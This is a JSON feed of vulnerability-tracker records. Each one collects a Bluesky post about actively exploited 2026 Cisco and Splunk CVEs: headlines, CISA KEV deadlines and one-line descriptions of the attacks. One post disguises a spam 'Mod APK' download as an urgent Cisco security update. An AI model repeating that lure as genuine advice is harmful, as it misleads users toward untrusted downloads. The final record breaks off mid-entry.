{"uuid": "6b23b77b-2b27-4d08-adfc-dbaf67d79036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxnam27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:18.262260Z"}, {"uuid": "9f3e1855-db42-4657-a957-3a42d446c940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mp7amcxo7u27", "content": "5/ \ud83d\udd12 Cisco Catalyst SD-WAN CVE-2026-20245 (CVSS 7.8) was exploited as a zero-day by a likely nation-state actor MONTHS before Cisco patched it. Mandiant confirmed root-level access + anti-forensic cleanup. The 7th Cisco SD-WAN CVE exploited in 2026.", "creation_timestamp": "2026-06-26T15:20:19.127866Z"}, {"uuid": "335008c2-bfdd-4c23-bff1-c3dc6c3b2aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/hookprobe.com/post/3mp7cwiob3n27", "content": "Cybersecurity alert: CVE-2026-20253 exposes a PostgreSQL flaw in Splunk Enterprise. HookProbe detects it early using NAPSE, HYDRA, AEGIS, and Qsecbit. Stay secure\u2014see the full analysis. #EdgeSecurity #IDS", "creation_timestamp": "2026-06-26T16:01:33.540987Z"}, {"uuid": "7c997f08-85c1-4df2-a973-eb0ad2e2d8cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mp7dou4u4c2x", "content": "Cisco Catalyst SD-WAN Zero-Day CVE-2026-20245 Exploited Months Before Disclosure\n\nsecurityaffairs.com/194200/hacki...\n\n#Cybersecurity #Vulnerability #AktiivinenHyv\u00e4ksik\u00e4ytt\u00f6", "creation_timestamp": "2026-06-26T16:15:11.219100Z"}, {"uuid": "48ff3e3e-a4d2-43ea-a577-8f3c27b54ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3mp7ebc562n2w", "content": "Cisco Unified Communications Manager: Critical SSRF-to-RCE Chain CVE-2026-20230\n\n##Cisco ##SSRF ##RCE ##VulnerabilityAnalysis\n\nhttps://flagthis.com/newsletter/2026/06/26/tldr/3798", "creation_timestamp": "2026-06-26T16:25:28.991451Z"}, {"uuid": "933f218f-de38-4a85-8bc4-eabeed2ce23a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mp7eoccwcu2k", "content": "Cisco Zero-Day Walks In. Prague Bureaucracy Still Searching For The Fax.\nPANIC 88% | Lag 29.44h | Cisco Catalyst SD-WAN devices are reported to be affected by CVE-2026-20245, a zero-day allegedly us\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-06-26T16:32:45.303890Z"}, {"uuid": "d5e6d63a-9cc5-4fba-9805-0356d4e4c666", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/montxt.bsky.social/post/3mp7fj6oa4u2r", "content": "Critical Unauthenticated Remote Code Execution in Splunk Enterprise (CVE-2026-20253)  https://www.zscaler.com/blogs/security-research/critical-unauthenticated-remote-code-execution-splunk-enterprise-cve-2026", "creation_timestamp": "2026-06-26T16:47:47.420530Z"}, {"uuid": "978169eb-5ca0-4100-a0cb-ca7c6526e688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mp7wbzexxc2z", "content": "Cisco Unified CM flaw CVE-2026-20230 now exploited in attacks\n\nwww.bleepingcomputer.com/news/securit...\n\n#Kyberturvallisuus #LaajaVaikutus #Haavoittuvuus", "creation_timestamp": "2026-06-26T21:48:02.693416Z"}, {"uuid": "3e3d6636-224e-4a84-ae7d-be9b334e43a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpa57qdjuz2a", "content": "CISA added a critical Splunk Enterprise flaw, CVE-2026-20253, to its Known Exploited Vulnerabilities list after confirmed in-the-wild attacks. It lets unauthenticated attackers create or overwrite files via an exposed PostgreSQL service. US federal agencies were ordered to patch. Per CISA.", "creation_timestamp": "2026-06-26T23:52:01.262053Z"}, {"uuid": "3e5e2804-c347-4016-837a-b6d2d6fafd4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpa5mgyspz25", "content": "CISA added a critical Splunk Enterprise flaw, CVE-2026-20253, to its Known Exploited Vulnerabilities list after confirmed in-the-wild attacks. It lets unauthenticated attackers create or overwrite files via an exposed PostgreSQL service. US federal agencies were ordered to patch. Per CISA.", "creation_timestamp": "2026-06-26T23:59:13.008850Z"}, {"uuid": "cc42084e-1a86-4054-96a9-475409ed5589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpa5vyoniq25", "content": "CISA added a critical Splunk Enterprise flaw, CVE-2026-20253, to its Known Exploited Vulnerabilities list after confirmed in-the-wild attacks. It lets unauthenticated attackers create or overwrite files via an exposed PostgreSQL service. US federal agencies were ordered to patch. Per CISA.", "creation_timestamp": "2026-06-27T00:04:27.557656Z"}, {"uuid": "6726988d-6237-4ef3-9a71-9eb9bccaac9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpa5zlqx7z2a", "content": "Test: SHORT INFO visual card rendering check. CISA flagged Splunk Enterprise flaw CVE-2026-20253, actively exploited. Per CISA.", "creation_timestamp": "2026-06-27T00:06:28.340826Z"}, {"uuid": "0226da72-3a5d-426b-8163-e2b9aa4d41e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpa6f7oyke2s", "content": "CISA added a critical Splunk Enterprise flaw, CVE-2026-20253, to its Known Exploited Vulnerabilities list after confirmed in-the-wild attacks. It lets unauthenticated attackers create or overwrite files via an exposed PostgreSQL service. US federal agencies were ordered to patch. Per CISA.", "creation_timestamp": "2026-06-27T00:12:57.903357Z"}, {"uuid": "a3391824-9ab7-426f-9fde-135265433d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpa6st3z5h2h", "content": "Test C: PDS-direct + korrekter Embed-Typ (PNG). CVE-2026-20253.", "creation_timestamp": "2026-06-27T00:20:35.836620Z"}, {"uuid": "cedcee38-f99c-49bd-b9b4-dc46ba049c1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/eurotrends24.bsky.social/post/3mpa6ua3w472t", "content": "JUST LEAKED! \ud83d\udea8 Immediate download update for Cisco users affected by CVE-2026-20245. Protect your network now and don't forget to level up your gaming with the latest Mod APK - unlimited resources and coins free! \ud83d\udcf2\ud83d\udd13 #Deltarune", "creation_timestamp": "2026-06-27T00:21:21.882424Z"}, {"uuid": "1d26dfdf-20f9-4e3b-bb69-5e5e5b8393f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpa7ipwrg325", "content": "Test D (end-to-end): frischer Blob -> Threads via CDN. CVE-2026-20253.", "creation_timestamp": "2026-06-27T00:32:49.304272Z"}, {"uuid": "3c21fa90-85ae-4945-a72b-08b9bab5b671", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/shortinfo.bsky.social/post/3mpaamydmgs25", "content": "CISA added a Cisco $CSCO Unified Communications Manager flaw, CVE-2026-20230, to its Known Exploited Vulnerabilities catalog after evidence of active exploitation. The server-side request forgery bug hits enterprise phone systems. Federal agencies were ordered to patch. Per CISA.", "creation_timestamp": "2026-06-27T00:53:07.310362Z"}, {"uuid": "0ba47790-6a0e-4dd6-ae03-e113edbcbdf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mpaap6ajt72a", "content": "\ud83e\udd16 CVE-2026-20230: RCE in Cisco Unified CM, actively exploited. CISA adds to KEV with Sunday patch deadline.\n\nhttps://www.bleepingcomputer.com/news/security/cisa-sets-urgent-deadline-to-fix-cisco-flaw-exploited-in-attacks/", "creation_timestamp": "2026-06-27T00:54:19.312467Z"}, {"uuid": "091509a3-d0f9-402b-b9db-04b2f1a44421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mpag345cgv2v", "content": "Top 3 CVE for last 7 days:\nCVE-2026-55200: 45 interactions\nCVE-2026-47729: 38 interactions\nCVE-2026-8461: 34 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46331: 10 interactions\nCVE-2026-34916: 4 interactions\nCVE-2026-20245: 3 interactions\n", "creation_timestamp": "2026-06-27T02:30:28.726227Z"}, {"uuid": "5b382b18-cbea-4994-aa87-ac141801b161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpaolz3bzk2x", "content": "Daily IT Security Digest \u2014 2026-06-27\nCatalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Actively Exploited in the Wild\nA critical zero-day vulnerability in Cisco Catalyst SD-WAN Manager allows authenticated attackers with write access to escalate to root privileges via crafted HTTP requests. The\n\u2026", "creation_timestamp": "2026-06-27T05:03:05.598668Z"}, {"uuid": "f2a10b92-b574-49bf-b141-2962b0e8f4ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/mel-echosphere.bsky.social/post/3mpapgrpjjr2z", "content": "Splunk \u306e CVE-2026-20253\u3001\u5acc\u306a\u306e\u306f\u305d\u3053\u3060\u3002\u30e1\u30a4\u30f3\u5074\u3067\u3044\u304f\u3089\u9375\u304b\u3051\u3066\u3082\u3001\u6a2a\u306e sidecar \u304c\u7121\u65bd\u9320\u3067 file \u64cd\u4f5c\u3067\u304d\u305f\u3089\u3001\u8a8d\u8a3c\u5883\u754c\u306f\u305d\u3063\u3061\u3067\u7d42\u308f\u308b\u3002\u5b88\u308b\u9053\u5177\u306e\u8107\u306b\u5225\u30eb\u30fc\u30eb\u4f5c\u308b\u306a\u3063\u3066\u8a71\u3060\u305c\u3002 https://advisory.splunk.com/advisories/SVD-2026-0603 #Splunk #AppSec", "creation_timestamp": "2026-06-27T05:18:05.840988Z"}, {"uuid": "b3f1143c-a128-4c40-b737-e29149485be6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mpaqym3f7g2d", "content": "CISA confirms active zero-day exploitation of Cisco Unified CM (CVE-2026-20230), introducing a critical SSRF vector that allows threat actors to bypass internal security boundaries. Access our complete executive risk mitigation framework and boardroom governance strategy:\u2026", "creation_timestamp": "2026-06-27T05:45:56.391712Z"}, {"uuid": "29570372-1f09-4b37-b2cd-226b12d251d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/eyalestrin.bsky.social/post/3mpb6yxj74a2f", "content": "Cisco Unified Communications Manager Arbitrary File Write to RCE (CVE-2026-20230) #patchmanagement", "creation_timestamp": "2026-06-27T09:56:41.236646Z"}, {"uuid": "5cbc282f-eb30-4161-bb93-074d793e0ba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mpbjrewkxx2n", "content": "\ud83e\udd16 CVE-2026-20230 (SSRF, CISA KEV): Cisco Unified Communications Manager flaw allows unauthenticated remote attackers to write files to the OS and escalate to root. Actively exploited. CISA deadline: June 28.\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-20230", "creation_timestamp": "2026-06-27T13:09:16.824554Z"}, {"uuid": "c439d062-28aa-4d37-8399-9c46328d4b15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "seen", "source": "https://bsky.app/profile/royans.bsky.social/post/3mpbk57sihl2x", "content": "Samsung Knox: Hypervisor-Level Kernel Protection Bypass CVE-2026-20971\n\n##Samsung ##VulnerabilityAnalysis ##Hypervisor ##MobileSecurity\n\nhttps://flagthis.com/newsletter/2026/06/27/tldr/3692", "creation_timestamp": "2026-06-27T13:15:54.194195Z"}, {"uuid": "25c95d96-eeac-452e-aaf4-beaaafb1f4fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpbndxdab22l", "content": "Watch Cisco SD-WAN Manager CVE-2026-20262 before its 6/29 KEV deadline. Cisco published useful hunt artifacts: suspicious WAR upload/deploy logs and JSP POST activity. Credentials + file-write bugs are the combo to fear.", "creation_timestamp": "2026-06-27T14:13:22.574202Z"}, {"uuid": "3d693633-88fa-4e22-82d1-8b23687fd359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpbndxdd6s2l", "content": "Watch Cisco SD-WAN Manager CVE-2026-20262 before its 6/29 KEV deadline. Cisco published useful hunt artifacts: suspicious WAR upload/deploy logs and JSP POST activity. Credentials + file-write bugs are the combo to fear.", "creation_timestamp": "2026-06-27T14:13:22.997935Z"}, {"uuid": "f4ac82d3-b150-4b89-86c0-6345cee14140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpbndxde622l", "content": "Watch Cisco SD-WAN Manager CVE-2026-20262 before its 6/29 KEV deadline. Cisco published useful hunt artifacts: suspicious WAR upload/deploy logs and JSP POST activity. Credentials + file-write bugs are the combo to fear.", "creation_timestamp": "2026-06-27T14:13:23.432440Z"}, {"uuid": "8b304ef2-de70-47d5-937b-969f2b4c357d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpbndxde632l", "content": "Watch Cisco SD-WAN Manager CVE-2026-20262 before its 6/29 KEV deadline. Cisco published useful hunt artifacts: suspicious WAR upload/deploy logs and JSP POST activity. Credentials + file-write bugs are the combo to fear.", "creation_timestamp": "2026-06-27T14:13:23.874136Z"}, {"uuid": "1f73d747-87e5-45ac-a46f-11ff1fda7649", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/devops-daily.com/post/3mpbpxxlxhc2k", "content": "\ud83d\udcdd Splunk Shipped an Unauthenticated Database Sidecar: CVE-2026-20253\n\nYou did not install a PostgreSQL server, but Splunk Enterprise 10 did, and in affected versions its sidecar endpoint had no authentication. The result...\n\nRead here: https://devops-daily.com/posts/splunk-postgres-sidecar-rce-c...", "creation_timestamp": "2026-06-27T15:00:20.341717Z"}, {"uuid": "303cc5bd-8146-4f7b-a563-5f481b1a79ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/piyokango.bsky.social/post/3mpbyndrqb223", "content": "Cisco Catalyst SD-WAN Manager\u306b\u304a\u3051\u308b\u8106\u5f31\u6027(CVE-2026-20245)\u306e\u30bc\u30ed\u30c7\u30a4\u653b\u6483\n#CybersecurityNews\ncloud.google.com/blog/topics/...", "creation_timestamp": "2026-06-27T17:35:30.141810Z"}, {"uuid": "f14b1cb1-7b0b-4b7a-bbb6-4e6e9da56a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mpcwkncjr422", "content": "Top 3 CVE for last 7 days:\nCVE-2026-55200: 45 interactions\nCVE-2026-47729: 37 interactions\nCVE-2026-8461: 35 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-9076: 3 interactions\nCVE-2025-60467: 2 interactions\nCVE-2026-20253: 2 interactions\n", "creation_timestamp": "2026-06-28T02:30:49.236373Z"}, {"uuid": "21cc7c63-bbd8-4103-8ae6-1984f901e5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpd73gt7qi2r", "content": "Daily IT Security Digest\n**Cisco Catalyst SD-WAN Manager Zero-Day Exploited in the Wild (CVSS CRITICAL)**\n\nCisco announced that attackers are actively exploiting a zero-day vulnerability (affects CVE-2026-20262 range) in Catalyst SD-WAN Manager, allowing users with write access to escalate to", "creation_timestamp": "2026-06-28T05:03:22.722141Z"}, {"uuid": "dedd6e6d-ab95-4270-8d0a-cb83c126c2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mpdo4e4zik2b", "content": "\ud83d\udee1\ufe0f The patch window has collapsed. This week's Cyber Mind Brief breaks down CISA's emergency Cisco SSRF (CVE-2026-20230) mandate, the 2026 Verizon DBIR shift to machine-speed exploits, and tactical moves to harden your Zero Trust perimeter. Read the full operational intel:\u2026", "creation_timestamp": "2026-06-28T09:32:20.707036Z"}, {"uuid": "47e03c25-882d-43af-8d83-42e4eeaf4a49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3msx752mvbl2v", "content": "Cisco has reported a high-severity vulnerability (CVE-2026-20349, CVSS 8.6) in Secure Firewall ASA and FTD Software, exploited in the wild. The flaw allows unauthenticated remote attackers to trigger a denial-of-service (DoS) by sending crafted HTTP requests. Affected versions include ASA 9.16, 9.", "creation_timestamp": "2026-08-13T08:13:15.534301Z"}, {"uuid": "b6cb4851-1867-4c1a-9b02-a427e0e8424b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3msfunzbqcr2l", "content": "Cisco IMC \u306e\u91cd\u5927\u306a\u8106\u5f31\u6027\u3001\u653b\u6483\u8005\u306broot\u6a29\u9650\u3092\u8a31\u3057\u3066\u3057\u307e\u3046\u4e0d\u5177\u5408\u304c\u767a\u899a\u3001PoC\u3082\u516c\u958b\u6e08\u307f(CVE-2026-20200)\n\nCisco\u306f\u3001Integrated Management Controller(IMC)\u306b\u5b58\u5728\u3059\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027(CVE-2026-20200)\u3092\u4fee\u6b63\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3068\u3001\u653b\u6483\u8005\u306f\u30b3\u30f3\u30c8\u30ed\u30fc\u30e9\u30fc\u306eWeb\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3092\u901a\u3058\u3066root\u6a29\u9650\u3067\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3067\u304d\u3066\u3057\u307e\u3044\u307e\u3059\u3002 \u3053\u306e\u4fee\u6b63\u306f8\u67085\u65e5...", "creation_timestamp": "2026-08-06T10:50:29.128676Z"}, {"uuid": "080216f5-1d64-4822-b214-fe279f16e54e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/sen-perimetered.bsky.social/post/3mpe4vg2kp62k", "content": "CVE-2026-20230: unauthenticated SSRF in Cisco Unified CM. No creds. Attacker writes files to the OS, escalates to root. KEV-listed Jun 25. Federal patch deadline: today, Jun 28. UC servers aren't edge infra \u2014 but they're reachable. That's enough.", "creation_timestamp": "2026-06-28T13:56:52.731932Z"}, {"uuid": "24e7087b-2868-4e7a-9fa7-36b9d8a50b41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/arc-perimetered.bsky.social/post/3mpe4w6szhs22", "content": "CVE-2026-20253: unauthenticated writes to Splunk \u2014 your detection layer, not your edge.\n\nMost orgs never threat-model their logging stack. Attacker gets there, they blind you before the real move.\n\nYour SIEM is attack surface. Model it that way.", "creation_timestamp": "2026-06-28T13:57:18.864710Z"}, {"uuid": "03484230-8ed2-4448-aa1f-ffbefd5cd214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/sen-perimetered.bsky.social/post/3mpe52nkveo25", "content": "CVE-2026-20230 \u2014 Cisco Unified CM. Unauthenticated SSRF \u2192 two-stage JSP webshell. Automated Tor sweeps confirmed this weekend.\n\nPatch: June 3. PoC: June 12. Exploitation: now.\n\n3 weeks of runway. Can't patch? Disable WebDialer. Today.", "creation_timestamp": "2026-06-28T13:59:48.522599Z"}, {"uuid": "28d240bd-7088-485c-a117-bc866116320c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mpeabajlfp2u", "content": "\ud83d\udce2 CISA adds two actively exploited vulnerabilities to its KEV catalog: CVE-2026-12569 in PTC products and CVE-2026-20230 in Cisco UCM. Federal agencies are mandated to patch. All orgs should prioritize these now! \u26a0\ufe0f #CyberSecurity #Vulnerability #CI...\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-28T14:57:10.924047Z"}, {"uuid": "699c9ad6-e498-45cb-b050-7ea31949bd8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hapsis.bsky.social/post/3mpedt3uhf224", "content": "Cisco Unified CM Flaw CVE-2026-20230 Actively Exploited in the Wild\n\nsecurityaffairs.com/194153/hacki...\n\n#Cybersecurity #LargeScaleImpact #Vulnerability", "creation_timestamp": "2026-06-28T16:00:52.143910Z"}, {"uuid": "7df643ab-6fdd-4972-8171-1de32bf60084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/hookprobe.com/post/3mpedwz5hm42f", "content": "Want to protect your Splunk from a sneaky file tampering bug? HookProbe's edge-first solution, built with NAPSE, HYDRA & AEGIS, flags CVE-2026-20253 fast. Stay ahead with AI-native IDS. #EdgeSecurity #IDS", "creation_timestamp": "2026-06-28T16:03:03.443814Z"}, {"uuid": "5cbcf9c8-ef41-4811-9ab8-6b0e9fb23bec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpffnzdgim2o", "content": "This weekly CVE report covers 1,909 new vulnerabilities from June 22-28, 2026. CISA flagged six as exploited, including CVE-2026-20230.\n\n#CVE #CISA #KEV #Vulnerability #Cybersecurity #Infosec", "creation_timestamp": "2026-06-29T02:06:29.234853Z"}, {"uuid": "c9cf1960-0d03-400f-9b0e-65392e080aa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mpfhbkx6r32q", "content": "Cisco Unified CM RCE Flaw Exploited in the Wild as PoC Code Goes\u00a0Public\n\nTL;DR Attackers are exploiting a Cisco Unified CM RCE flaw in live attacks. Tracked as CVE-2026-20230, it carries a CVSS score of 8.6. Researchers have now published full technical details and proof-of-concept exploit code.\u2026", "creation_timestamp": "2026-06-29T02:35:18.951919Z"}, {"uuid": "6e350d8f-7910-496a-aa10-26b5d3d49b77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpfmfr3hh32v", "content": "\ud83d\udccc CVE-2026-20266 - In Splunk AI Toolkit versions below 5.7.4, a user who holds the \"admin\" Splunk role could execute arbitrary OS commands on the host running the Splunk... https://www.cyberhub.blog/cves/CVE-2026-20266", "creation_timestamp": "2026-06-29T04:07:14.559072Z"}, {"uuid": "4284aa6b-acd9-457b-ad5e-c143a8cb7877", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20266", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mpfmfrtouk27", "content": "\ud83d\udccc CVE-2026-20266 